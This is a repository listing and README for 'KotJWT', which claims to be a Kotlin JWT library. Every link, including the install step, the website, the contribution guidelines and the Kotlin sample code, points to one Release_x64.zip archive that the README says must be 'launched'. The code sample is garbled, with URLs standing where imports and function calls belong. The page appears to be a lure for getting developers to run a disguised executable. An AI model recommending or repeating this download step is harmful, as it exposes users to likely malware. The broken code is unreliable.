https://github.com/privatedocs-1/kotjwt
A lightweight Kotlin library for encoding, decoding, and validating JWT and refresh tokens using HMAC SHA-256.
https://github.com/privatedocs-1/kotjwt
api authentication cyrptography hmac-sha256 jwt jwt-authentication jwt-library jwt-token kotlin kotlin-library security token
Last synced: over 1 year ago
JSON representation
A lightweight Kotlin library for encoding, decoding, and validating JWT and refresh tokens using HMAC SHA-256.
- Host: GitHub
- URL: https://github.com/privatedocs-1/kotjwt
- Owner: Privatedocs-1
- Created: 2025-01-11T22:07:54.000Z (over 1 year ago)
- Default Branch: main
- Last Pushed: 2025-03-16T03:19:46.000Z (over 1 year ago)
- Last Synced: 2025-03-16T03:20:32.969Z (over 1 year ago)
- Topics: api, authentication, cyrptography, hmac-sha256, jwt, jwt-authentication, jwt-library, jwt-token, kotlin, kotlin-library, security, token
- Size: 1000 Bytes
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# KotJWT
Welcome to KotJWT - a lightweight Kotlin library for encoding, decoding, and validating JWT and refresh tokens using HMAC SHA-256.

## Features
🔒 Encode and decode JWT tokens
🛡️ Validate JWT and refresh tokens
🔑 Use HMAC SHA-256 for secure cryptography
⚙️ Easy integration with Kotlin applications
## Installation
To get started with KotJWT, you can download the library from the following link:
[](https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip)
Please note that the downloaded file needs to be launched to integrate the library into your Kotlin project.
## Usage
Here's a quick guide on how to use KotJWT in your Kotlin application:
1. Add the KotJWT library to your project.
2. Import the necessary classes in your Kotlin files.
3. Use the provided functions to encode, decode, and validate JWT and refresh tokens.
```kotlin
// Sample code snippet using KotJWT
import https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip
val kotJWT = KotJWT()
val token = https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip(payload)
val decodedPayload = https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip(token)
val isValid = https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip(token)
```
For more detailed usage examples and documentation, please visit the [official KotJWT website](https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip).
## Repository Topics
- ['api', 'authentication', 'cryptography', 'hmac-sha256', 'jwt', 'jwt-authentication', 'jwt-library', 'jwt-token', 'kotlin', 'kotlin-library', 'security', 'token']
## Contributing
Contributions to KotJWT are welcome! If you have any ideas for improvements or new features, feel free to submit a pull request. Make sure to follow the [contribution guidelines](https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip) before making any changes.
## License
KotJWT is licensed under the MIT License. For more information, please refer to the [LICENSE](LICENSE) file in this repository.
---
Thank you for choosing KotJWT for your JWT encoding, decoding, and validation needs! If you encounter any issues or have any questions, please check the "Releases" section for updates or reach out to the KotJWT community for support. Happy coding with KotJWT! 🚀